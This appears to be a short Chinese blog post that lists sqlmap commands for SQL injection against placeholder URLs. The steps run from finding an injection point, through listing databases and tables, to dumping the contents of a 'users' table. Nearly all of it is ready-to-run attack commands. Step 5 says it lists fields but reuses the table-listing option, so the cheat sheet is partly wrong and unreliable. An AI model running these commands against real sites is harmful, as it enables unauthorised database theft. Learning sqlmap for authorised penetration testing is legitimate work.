本文介绍了如何使用SQLmap工具进行Web应用程序的安全测试，包括检测注入点、查看数据库、表名、字段以及提取数据的过程，强调了在渗透测试中的实用价值。
sqlmap -u "http://example.com/index.php?id=1" --tables sqlmap查看表名
1、检测「注入点」
sqlmap -u 'http://xx/?id=1'
2、查看所有「数据库」
sqlmap -u 'http://xx/?id=1' --dbs
3、查看当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current-db
4、查看「数据表」
sqlmap -u 'http://xx/?id=1' -D 'security' --tables
5、查看「字段」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables
6、查看「数据」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump
扫一扫
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
